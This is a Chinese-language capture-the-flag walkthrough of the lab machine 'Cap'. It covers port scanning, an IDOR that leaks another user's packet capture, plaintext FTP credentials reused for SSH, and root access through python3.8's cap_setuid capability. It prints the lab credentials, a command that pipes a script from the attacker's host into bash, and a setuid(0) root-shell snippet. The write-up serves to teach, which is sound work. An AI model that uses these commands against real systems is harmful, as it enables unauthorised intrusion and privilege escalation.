Skip to content

CAP

Cap 是一个运行 HTTP 服务器的 Linux 机器,因此允许用户捕获未加密的流量。不当的控制会导致不安全的直接对象引用(IDOR),允许访问其他用户的捕获。捕获包含明文凭据,可用于获得立足点。然后利用 Linux 功能获得 root。

所需技能

  • 网页枚举
  • 抓包分析

学到的技能

  • ​ IDOR
  • 利用 Linux 功能提权

枚举

Nmap

ports=$(nmap -p- --min-rate=1000 -Pn -T4 10.10.10.245 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -Pn -sC -sV 10.10.10.245

image-20230615205405074

FTP

让我们检查 FTP 是否允许匿名访问。

image-20230615205432909

登录失败,意味着匿名访问被禁⽤。让我们转到 HTTP 服务器。

HTTP

根据 nmap 扫描结果,端⼝ 80 正在运⾏Gunicorn,这是⼀个基于 python 的 HTTP 服务器。浏览到⻚⾯ . 显⽰⼀个仪表板。

image-20230615205525366

浏览到IP 配置⻚⾯会显⽰ ifconfig的输出。

image-20230615205620636

同样,⽹络状态⻚⾯显⽰ netstat 执⾏系统命令的输出。单击 Security Snapshot 菜单项会使⻚ 这意味着应⽤程序是 ⾯暂停⼏秒钟,然后返回如下所⽰的⻚⾯。

image-20230615205750155

单击下载为我们提供了⼀个数据包捕获,可以使⽤ WireShark 对其进⾏检查。

image-20230615205812663

我们没有看到任何有趣的东西,捕获的数据只包含来⾃我们的 HTTP 流量。

IDOR

需要注意的一件有趣的事情是创建新捕获时的 URL 方案,其形式为 /data/<id> 。每次捕获都会增加 id。有可能在我们之前有来自用户的数据包捕获。

浏览到/data/0 确实显⽰了包含多个数据包的数据包捕获

此漏洞称为不安全直接对象引⽤ (IDOR),其中⼀个⽤⼾可以直接访问另⼀个⽤⼾拥有的数据。让我们检查此捕获以查找潜在的 敏感数据。

Foothold

在 Wireshark 中打开它会显⽰⽤⼾⾝份验证的 FTP 流量。

image-20230615210226413

流量为明文,允许我们检索用户凭据,即 nathan / Buck3tH4TF0RM3! .这些被发现是有效的,可以用来通过 SSH 登录。

image-20230615210325435

Privilege Escalation

让我们使⽤ linPEAS 检查特权升级向量的脚本。

curl http://10.10.14.24/linpeas.sh | bash

image-20230615210437794

发现该报告包含一个有趣的条目,用于具有功能的文件。 /usr/bin/python3.8 被发现有 cap_setuidcap_net_bind_service ,这不是默认设置。根据文档,CAP_SETUID 允许进程在没有设置 SUID 位的情况下获得 setuid 权限。这有效地让我们切换到 UID 0,即 root。

import os
os.setuid(0)
os.system("/bin/bash")

上面的脚本可用于切换到 root 并生成一个 shell。它调用 os.setuid() 用于修改进程 UID

image-20230615210620400